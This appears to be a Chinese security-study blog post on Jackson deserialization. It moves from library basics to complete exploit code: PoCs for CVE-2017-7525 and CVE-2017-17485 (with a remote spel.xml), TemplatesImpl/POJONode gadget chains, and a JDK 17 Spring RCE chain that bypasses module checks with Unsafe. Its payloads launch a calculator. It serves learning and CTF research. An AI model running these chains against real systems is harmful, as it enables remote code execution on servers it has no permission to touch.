前言
学期初爽学一次Java,学期末再爽学一次Java😋
参考:
https://zer0peach.github.io/2023/09/27/Jackson/
Jackson基本使用
Jackson 是一个开源的Java序列化和反序列化工具,可以将 Java 对象序列化为 XML 或 JSON 格式的字符串,以及将 XML 或 JSON 格式的字符串反序列化为 Java 对象。
由于其使用简单,速度较快,且不依靠除 JDK 外的其他库,被众多用户所使用。
pom.xml
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.8</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.8</version>
</dependency>
</dependencies>
序列化与反序列化
定义一个 Person 类
public class Person {
public int age;
public String name;
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s", age, name);
}
}
接着编写 Jackson 的序列化与反序列化代码
import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonTest {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.age = 6;
p.name = "0w0";
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(p);
System.out.println(json);
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}
那么这里序列化的方法为ObjectMapper.writeValueAsString
,反序列化的方法为ObjectMapper.readValue
多态问题
Java 多态指同一个接口使用不同的实例而执行不同的操作
那么对于反序列化来说就会有一个问题,对多态类的某一个子类实例在序列化后再进行反序列化时,如何能够保证反序列化出来的实例即是我们想要的那个特定子类的实例而非多态类的其他子类实例?
Jackson 实现了 JacksonPolymorphicDeserialization
机制来解决这个问题:在反序列化某个类对象的过程中,如果类的成员变量不是具体类型(non-concrete),比如 Object、接口或抽象类,则可以在 JSON 字符串中指定其具体类型,Jackson 将生成具体类型的实例
具体的操作:启用 DefaultTyping
和 @JsonTypeInfo
注解
DefaultTyping
在 ObjectMapper 中有详细介绍
实际上四个选项是依次扩大作用范围的:
DefaultTyping类型 | 描述说明 |
---|---|
JAVA_LANG_OBJECT | 属性的类型为Object |
OBJECT_AND_NON_CONCRETE | 属性的类型为Object、Interface、AbstractClass |
NON_CONCRETE_AND_ARRAYS | 属性的类型为Object、Interface、AbstractClass、Array |
NON_FINAL | 所有除了声明为final之外的属性 |
JAVA_LANG_OBJECT
当被序列化或反序列化的类里的属性被声明为一个 Object 类型时,会对该 Object 类型的属性进行序列化和反序列化,并且明确规定类名。(当然,这个 Object 本身也得是一个可被序列化的类)
添加一个 Hacker 类
public class Hacker {
public String skill = "havefun";
}
修改 Person 类,添加 Object 类型属性:
public class Person {
public int age;
public String name;
public Object object;
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);
}
}
新建 JAVA_LANG_OBJECTTest.java,添加 enableDefaultTyping()
并设置为 JAVA_LANG_OBJECT
:
import com.fasterxml.jackson.databind.ObjectMapper;
public class JAVA_LANG_OBJECTTest {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.age = 6;
p.name = "0w0";
p.object = new Hacker();
ObjectMapper mapper = new ObjectMapper();
// 设置JAVA_LANG_OBJECT
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
String json = mapper.writeValueAsString(p);
System.out.println(json);
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}
无 DefaultTyping 的情况是:
对比可以看出来,通过 enableDefaultTyping 设置 JAVA_LANG_OBJECT 后,会多输出 Hacker 类名,且在输出的 Object 属性时直接输出的是 Hacker 类对象
也就是说对 Object 对象进行了序列化和反序列化,并且明确规定类名
OBJECT_AND_NON_CONCRETE
enableDefaultTyping 无参数时的默认选项。除了前面提到的特征,当类里有Interface、AbstractClass类时,对其进行序列化和反序列化。
整一个 Sex 接口
public interface Sex {
public void setSex(int sex);
public int getSex();
}
然后实现它
public class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}
}
修改 Person 类
public class Person {
public int age;
public String name;
public Object object;
public Sex sex;
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s, %s", age, name, object == null ? "null" : object, sex == null ? "null" : sex);
}
}
序列化和反序列化:
import com.fasterxml.jackson.databind.ObjectMapper;
public class OBJECT_AND_NON_CONCRETE_Test {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.age = 6;
p.name = "0w0";
p.object = new Hacker();
p.sex = new MySex();
ObjectMapper mapper = new ObjectMapper();
// 设置OBJECT_AND_NON_CONCRETE
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
// 或直接无参调用,输出一样
//mapper.enableDefaultTyping();
String json = mapper.writeValueAsString(p);
System.out.println(json);
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}
输出:可以看到该 Interface 类被序列化和反序列化
{"age":6,"name":"0w0","object":["Hacker",{"skill":"havefun"}],"sex":["MySex",{"sex":0}]}
Person.age=6, Person.name=0w0, Hacker@42dafa95, MySex@6500df86
NON_CONCRETE_AND_ARRAYS
除了前面提到的特征外,还支持 Array 类型
于是给 Object 以 Hacker 类型数组:
import com.fasterxml.jackson.databind.ObjectMapper;
public class NON_CONCRETE_AND_ARRAYS_Test {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.age = 6;
p.name = "0w0";
Hacker[] hackers = new Hacker[2];
hackers[0] = new Hacker();
hackers[1] = new Hacker();
p.object = hackers;
p.sex = new MySex();
ObjectMapper mapper = new ObjectMapper();
// 设置NON_CONCRETE_AND_ARRAYS
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
String json = mapper.writeValueAsString(p);
System.out.println(json);
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}
输出:
{"age":6,"name":"0w0","object":["[LHacker;",[{"skill":"havefun"},{"skill":"havefun"}]],"sex":["MySex",{"sex":0}]}
Person.age=6, Person.name=0w0, [LHacker;@5cb9f472, MySex@cb644e
类名变成了 "[L"+类名+";"
NON_FINAL
除了前面的所有特征外,包含即将被序列化的类里的全部、非 final 的属性,也就是相当于整个类、除 final 外的属性信息都需要被序列化和反序列化
给 Person 加上 Hacker 属性
public class Person {
public int age;
public String name;
public Object object;
public Sex sex;
public Hacker hacker;
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s, %s, %s", age, name, object == null ? "null" : object, sex == null ? "null" : sex, hacker == null ? "null" : hacker);
}
}
序列化与反序列化:
import com.fasterxml.jackson.databind.ObjectMapper;
public class NON_FINAL_Test {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.age = 6;
p.name = "0w0";
p.object = new Hacker();
p.sex = new MySex();
p.hacker = new Hacker();
ObjectMapper mapper = new ObjectMapper();
// 设置NON_FINAL
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json = mapper.writeValueAsString(p);
System.out.println(json);
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}
输出:
["Person",{"age":6,"name":"0w0","object":["Hacker",{"skill":"havefun"}],"sex":["MySex",{"sex":0}],"hacker":["Hacker",{"skill":"havefun"}]}]
Person.age=6, Person.name=0w0, Hacker@42dafa95, MySex@6500df86, Hacker@402a079c
成功对非 final 的 hacker 属性进行序列化和反序列化
@JsonTypeInfo 注解
@JsonTypeInfo
注解是 Jackson 多态类型绑定的一种方式,支持下面5种类型的取值:
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)
JsonTypeInfo.Id.NONE
默认设置
JsonTypeInfo.Id.CLASS
起一个 User 类,把 Hacker 类移到 com.example 下,指定注解
package com.example;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
public class User {
public String username;
public String password;
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
public Object object;
@Override
public String toString() {
return "com.example.User{" +
"username='" + username + '\'' +
", password='" + password + '\'' +
", object=" + object +
'}';
}
}
然后序列化和反序列化:
import com.example.Hacker;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JsonTypeInfo_Id_NONE_Test {
public static void main(String[] args) throws Exception {
User u = new User();
u.username = "0w0";
u.password = "******";
u.object = new Hacker();
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(u);
System.out.println(json);
User u2 = mapper.readValue(json, User.class);
System.out.println(u2);
}
}
输出:
{"username":"0w0","password":"******","object":{"@class":"com.example.Hacker","skill":"havefun"}}
User{username='0w0', password='******', object=com.example.Hacker@25bbe1b6}
相比 NONE 注解时,object 属性中多了 "@class":"com.example.Hacker"
,即含有具体的类的信息,同时反序列化出来了 object 属性 Hacker 类对象,即能够成功对指定类型进行序列化和反序列化
也就是说,在Jackson反序列化的时候如果使用了JsonTypeInfo.Id.CLASS
修饰的话,可以通过 @class 的方式指定相关类,并进行相关调用
JsonTypeInfo.Id.MINIMAL_CLASS
修改注解值为JsonTypeInfo.Id.MINIMAL_CLASS
输出:
{"username":"0w0","password":"******","object":{"@c":"com.example.Hacker","skill":"havefun"}}
User{username='0w0', password='******', object=com.example.Hacker@69ea3742}
object属性中 "@c":"com.example.Hacker"
,即使用 @c 替代了 @class
官方描述中的意思是缩短了相关类名,实际效果和 JsonTypeInfo.Id.CLASS 类似
JsonTypeInfo.Id.NAME
修改注解值为JsonTypeInfo.Id.NAME
输出:
object属性中"@type":"Hacker"
,乍一看没什么问题,但实际上没有具体的包名在内的类名,因此在后面的反序列化的时候会报错,也就是说这个设置值是不能被反序列化利用的
JsonTypeInfo.Id.CUSTOM
直接运行会抛出异常,需要用户自定义来使用
那么可触发反序列化的注解就两个:
- JsonTypeInfo.Id.CLASS
- JsonTypeInfo.Id.MINIMAL_CLASS
反序列化中类属性方法的调用
整个 User2 类,加上 setter 和 getter
public class User2 {
private String name;
private int age;
public User2() {
System.out.println("构造方法");
}
public User2(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
System.out.println("getname");
return name;
}
public void setName(String name) {
System.out.println("setname");
this.name = name;
}
public int getAge() {
System.out.println("getage");
return age;
}
public void setAge(int age) {
System.out.println("setage");
this.age = age;
}
}
序列化与反序列化:
import com.fasterxml.jackson.databind.ObjectMapper;
public class DeserializationTest {
public static void main(String[] args) throws Exception {
User2 test = new User2("0w0", 16);
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(test);
System.out.println(json);
User2 u2 = mapper.readValue(json, User2.class);
System.out.println(u2);
}
}
可以看到序列化会调用 getter,而反序列化会调用构造方法和 setter,和 fastjson 类似
Jackson反序列化漏洞
满足下面三个条件之一即存在 Jackson 反序列化漏洞:
- 调用了
ObjectMapper.enableDefaultTyping()
函数; - 对要进行反序列化的类的属性使用了值为
JsonTypeInfo.Id.CLASS
的@JsonTypeInfo
注解; - 对要进行反序列化的类的属性使用了值为
JsonTypeInfo.Id.MINIMAL_CLASS
的@JsonTypeInfo
注解;
由之前的结论知道,当使用的 JacksonPolymorphicDeserialization 机制配置有问题时,Jackson 反序列化就会调用属性所属类的构造函数和 setter 方法。
而如果该构造函数或 setter 方法存在危险操作,那么就存在 Jackson 反序列化漏洞。
属性不为Object类时
当要进行反序列化的类的属性所属类的构造函数或 setter 方法本身存在漏洞时,这种场景存在 Jackson 反序列化漏洞,实际场景几乎不可能存在这种好事
直接修改 MySex 类的 setSex() 方法,在其中添加命令执行操作
public class MySex implements Sex {
int sex;
public MySex() {
System.out.println("MySex构造函数");
}
@Override
public int getSex() {
System.out.println("MySex.getSex");
return sex;
}
@Override
public void setSex(int sex) {
System.out.println("MySex.setSex");
this.sex = sex;
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Person3类
public class Person3 {
public int age;
public String name;
public Sex sex;
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s", age, name, sex == null ? "null" : sex);
}
}
编写反序列化类,构造 Payload
public class DeserializationRun {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "{\"age\":16,\"name\":\"0w0\",\"sex\":[\"MySex\",{\"sex\":1}]}";
Person3 p2 = mapper.readValue(json, Person3.class);
System.out.println(p2);
}
}
属性为Object类时
当属性类型为 Object 时,因为 Object 类型是任意类型的父类,因此扩大了我们的攻击面,我们只需要寻找出在目标服务端环境中存在的且构造函数或 setter 方法存在漏洞代码的类即可进行攻击利用。
Evil:
public class Evil {
String cmd;
public void setCmd(String cmd) {
this.cmd = cmd;
try {
Runtime.getRuntime().exec(this.cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Person4:
import com.fasterxml.jackson.annotation.JsonTypeInfo;
public class Person4 {
public int age;
public String name;
// @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
// 或 @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
public Object object;
public Person4() {
System.out.println("Person4 构造函数");
}
public void setAge(int age) {
System.out.println("Person4 setter 函数");
}
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);
}
}
反序列化代码:
import com.fasterxml.jackson.databind.ObjectMapper;
public class DeserializationObjectRun {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "{\"age\":16,\"name\":\"0w0\",\"object\":[\"Evil\",{\"cmd\":\"calc\"}]}";
Person4 p2 = mapper.readValue(json, Person4.class);
System.out.println(p2);
}
}
感觉下面这两个 cve 和 jackson 本身的关联不是特别大,记个poc差不多了
CVE-2017-7525
Jackson 2.6 系列 < 2.6.7.1
Jackson 2.7 系列 < 2.7.9.1
Jackson 2.8 系列 < 2.8.8.1
poc:
public class PoC {
public static void main(String[] args) throws Exception {
String exp = readClassStr("E:\\evilClass\\SimpleCalc.class");
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"{\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'drun1baby',\n" +
"'outputProperties':{}\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Test test;
try {
test = mapper.readValue(jsonInput, Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}
public static String aposToQuotes(String json){
return json.replace("'","\"");
}
public static String readClassStr(String cls) throws Exception{
File file = new File(cls);
FileInputStream fileInputStream = new FileInputStream(file);
byte[] bytes = new byte[(int) file.length()];
fileInputStream.read(bytes);
String base64Encoded = DatatypeConverter.printBase64Binary(bytes);
return base64Encoded;
}
}
这个本质上是 TemplateImpl 类的类动态加载
CVE-2017-17485
Jackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4
基于 org.springframework.context.support.ClassPathXmlApplicationContext
利用链,在开启 enableDefaultTyping()
或使用有问题的 @JsonTypeInfo
注解的前提下,可以通过 jackson-databind 来滥用 Spring 的 SpEL 表达式注入漏洞来触发 Jackson 反序列化漏洞的,从而达到任意命令执行的效果。
poc:
public class PoC {
public static void main(String[] args) {
//CVE-2017-17485
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:8888/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
spel.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
Jackson原生反序列化
Springboot 一般都会自带 JackSon 这个依赖包
和 fastjson 的 JsonObject 一样,今天的主角是 JackSon 里的 PojoNode,虽然说上面 Jackson 只会触发构造函数和 setter,但是 PojoNode#toString
是可以直接触发任意 getter 的,条件:
- 不需要存在该属性
- getter方法需要有返回值
- 尽可能的只有一个getter
这里使用 jackson 2.13.5,低版本貌似触发不了
Demo
package com.origin.unser;
import java.io.IOException;
import java.io.Serializable;
public class User implements Serializable {
public User() {
}
public Object getName() throws IOException {
Runtime.getRuntime().exec("calc");
return "asdas";
}
public Object setName(String name) {
System.out.println("setname");
return "sadsad";
}
}
package com.origin.unser;
import com.fasterxml.jackson.databind.node.POJONode;
public class Demo {
public static void main(String[] args) throws Exception {
User user = new User();
POJONode jsonNodes = new POJONode(user);
jsonNodes.toString();
}
}
调试一下可以看到这里的调用栈
可以看到 POJONode 中的 toString 最终是从 BaseJsonNode 继承来的
调用链为:toString -> InternalNodeMapper#nodeToString -> ObjectWriter#writeValueAsString
关键在最后这个方法,将一个 Bean 对象序列化为一个 json 串常用的方法是writeValueAsString
方法,在调用该方法的过程中将会通过遍历的方法将 bean 对象中的所有的属性的 getter 方法进行调用
注意
在 BaseJsonNode 中存在如下语句
Java 的序列化机制保证在序列化时先调用该对象的 writeReplace 方法,即这里的 writeReplace 会替代原始的对象序列化方法,序列化成其他格式的数据,在这过程中会抛出异常
解决办法是自己创建并重写 BaseJsonNode,把 writeReplace 去掉
或者利用 javassist 动态移除 BaseJsonNode 的 writeReplace 方法:
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
TemplatesImpl链
最经典,把 fastjson 那条拿出来,JSONArray/JSONObject 改成 POJONode 即可
package com.origin.unser;
import com.example.Utils;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
public class TemplatesImplChain {
public static void main(String[] args) throws Exception {
// ClassPool pool = ClassPool.getDefault();
// CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
// CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
// ctClass0.removeMethod(writeReplace);
// ctClass0.toClass();
TemplatesImpl obj = Utils.getTemplatesImpl();
POJONode pojonode = new POJONode(obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.SetValue(badAttributeValueExpException, "val", pojonode);
String barr = Utils.Serialize(badAttributeValueExpException);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
推荐 obj 把 TemplatesImpl 换为 Templates 父类,以避免一些错误
Jackson 链子不稳定的解决方法
老实说我即使是本地跑上面的链子也还没遇到过这个情况
不稳定的原因:getDeclaredMethods 获取 getter 的顺序是不确定的,当 TemplatesImpl 的 getStylesheetDOM 方法先于 getOutputProperties 方法执行时就会导致空指针异常从而导致调用链报错中断
解决方法:利用 org.springframework.aop.framework.JdkDynamicAopProxy
原理:JdkDynamicAopProxy 实现了JDK 动态代理,用于创建代理对象来实现面向切面编程(AOP)的功能
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
JDK 17 下的 Spring 原生链
参考:fushuling的博客
环境搭建:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>JDK17Sec</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>3.5.4</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
<scope>compile</scope>
</dependency>
</dependencies>
</project>
JDK 17 下有如下限制:
在 JDK 17 里 BadAttributeValueExpException 利用不了了,没有触发 toString 的点(图中右半部分)
最底下的 toString 没了,不过在 FastJson 原生反序列化中,我们已经用 EventListenerList 实现了绕过
从 JDK 9 开始,Java 引入了 JPMS(Java Platform Module System,模块系统),也就是著名的 Project Jigsaw。在 JDK 17 里,这一机制已经被完全强化,具体体现为:
- 内部 API 封装:以前我们可以随意
import com.sun.*
或者sun.*
的内部类,但在 JDK 17,这些类已经被模块系统强封装,默认不可访问。 - 强封装机制:模块之间的可见性由
module-info.java
描述,如果某个包没有被exports
,外部模块就无法直接访问。 - 反射限制:在 JDK 8 及之前,我们常常通过
setAccessible(true)
绕过 private 限制,反射访问类的私有字段或构造函数。但在 JDK 17 里,即使你用setAccessible(true)
,也会被 InaccessibleObjectException 拦住,除非在 JVM 启动时手动加--add-opens
参数开放模块或者使用 Java Agent/Instrumentation 来打破封装。
总之,JDK 17 中因为模块检测这三个限制导致我们无法直接调用字节码需要的 TemplatesImpl
对反射的限制我们只需要在生成链子时修改 JVM 启动参数来解决
那么我们要解决的就是强封装机制的限制,在第二届 N1CTF Junior Derby Plus 中大b哥用 Unsafe 篡改 Module 实现绕过打 JDBC,但是当时没有用到 TemplatesImpl 而是加载恶意 jar 包,这里直接抄板子了
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
而以往我们利用 TemplatesImpl 的时候,被利用的目标通常需要继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ,但在高版本下肯定是不行的,必然涉及到 sun 包模块化的检测导致报错
那么对于 AbstractTranslet,Java字节码一文中已经有绕过限制的手段:
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
在上面解决 Jackson 链子不稳定时我们用到了 JdkDynamicAopProxy,它除了解决随机性以外,还有一个更重要的作用:如果没有 aop 的话,jackson 没法为 TemplatesImpl 创建一个新的类
因为直接传入 TemplatesImpl 对象的话,com.sun.org.apache.xalan.internal.xsltc.trax
没有 export 给外部,所以会出现报错。但是经过 AOP 代理之后,对外暴露的接口是 javax.xml.transform.Templates
,在 java.xml 模块中是公开 exports 的,所以能正常反序列化,最后由代理 AOP 调用 getOutputProperties 实现 RCE,Jackson 只是正常调用了接口方法,代理帮它把调用转发到了 TemplatesImpl
把上面这些拼起来得到最终的 poc:
import javax.swing.event.EventListenerList;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
// --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
public static void main(String[] args) throws Exception{
// 删除writeReplace保证正常反序列化
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
// 把模块强行修改,切换成和目标类一样的 Module 对象
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(SpringRCE.class);
classes.add(Field.class);
classes.add(Method.class);
new SpringRCE().bypassModule(classes);
// ===== EXP 构造 =====
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("0w0").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
EventListenerList eventListenerList = getEventListenerList(node);
byte[] exp = serialize(eventListenerList, true);
unserialize(exp);
}
public static byte[] serialize(Object obj, boolean flag) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
return baos.toByteArray();
}
public static void unserialize(byte[] exp) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(exp);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
String block = "Runtime.getRuntime().exec(\"open -a Calculator\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
注:反序列化时不需要开 vm 的配置,只有序列化的时候需要